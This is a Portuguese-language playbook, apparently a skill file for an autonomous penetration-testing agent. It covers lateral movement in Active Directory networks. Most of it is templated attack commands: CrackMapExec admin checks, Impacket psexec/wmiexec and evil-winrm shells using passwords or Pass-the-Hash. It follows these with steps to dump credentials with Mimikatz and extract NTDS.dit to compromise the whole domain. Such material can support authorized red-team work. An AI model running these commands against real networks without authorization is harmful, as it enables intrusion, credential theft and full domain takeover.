---
name: lateral_movement_psexec
phase: 5_post_exploitation
tools: [impacket, crackmapexec, evil-winrm]
dependencies: [credentials_obtained, internal_network_access]
mitre_tactic: TA0008 (Lateral Movement)
---

# Objetivo
Mover-se lateralmente dentro de uma rede corporativa (geralmente Active Directory) utilizando credenciais válidas ou hashes NTLM (Pass-the-Hash) para comprometer outros sistemas e alcançar o Domain Controller.

# Condições de Execução
- O agente possui credenciais válidas (usuário/senha) ou hashes NTLM.
- O agente tem acesso à rede interna (via VPN, proxychains ou máquina comprometida).

# Comandos e Sintaxe

## 1. Verificar Acesso Administrativo (CrackMapExec)
Antes de tentar execução de código, verifique em quais máquinas a credencial tem privilégios de administrador local (Pwn3d!).
```bash
# Com senha em texto claro
crackmapexec smb {target_subnet} -u '{username}' -p '{password}' -d {domain} 2>&1 | tee {workspace}/cme_admin_check.txt

# Com hash NTLM (Pass-the-Hash)
crackmapexec smb {target_subnet} -u '{username}' -H '{ntlm_hash}' -d {domain} 2>&1 | tee {workspace}/cme_pth_check.txt
```

## 2. Execução de Código via PsExec (Impacket)
Obtém um shell interativo SYSTEM no alvo. Deixa artefatos no sistema (serviço instalado).
```bash
impacket-psexec {domain}/{username}:{password}@{target_ip}
# Ou com hash:
impacket-psexec -hashes 00000000000000000000000000000000:{ntlm_hash} {domain}/{username}@{target_ip}
```

## 3. Execução de Código via WMI (Impacket)
Mais furtivo que o PsExec, não instala serviços, mas não retorna um shell interativo completo.
```bash
impacket-wmiexec {domain}/{username}:{password}@{target_ip}
# Ou com hash:
impacket-wmiexec -hashes 00000000000000000000000000000000:{ntlm_hash} {domain}/{username}@{target_ip}
```

## 4. Acesso via WinRM (Evil-WinRM)
Se a porta 5985 estiver aberta, é o método mais limpo e confiável.
```bash
evil-winrm -i {target_ip} -u '{username}' -p '{password}'
# Ou com hash:
evil-winrm -i {target_ip} -u '{username}' -H '{ntlm_hash}'
```

# Análise de Resultados
- **Pwn3d! no CrackMapExec:** A credencial funciona e tem privilégios administrativos. O alvo pode ser comprometido.
- **Shell obtido (PsExec/WMI/WinRM):** Movimento lateral bem-sucedido. O agente agora controla um novo sistema na rede.
- **Acesso negado:** A credencial é válida, mas não tem privilégios administrativos no alvo.

# Próximos Passos
- No novo sistema comprometido, acione `hash_dumping_and_cracking` para extrair mais credenciais da memória (Mimikatz) e continuar o movimento lateral.
- Se o alvo for o Domain Controller, extraia o NTDS.dit para comprometer todo o domínio.

# Tratamento de Erros
- Se o PsExec falhar com "STATUS_ACCESS_DENIED", o UAC Remote Restrictions pode estar ativado. Tente WMI ou WinRM.
- Se o Impacket não estiver instalado: `pip install impacket`.
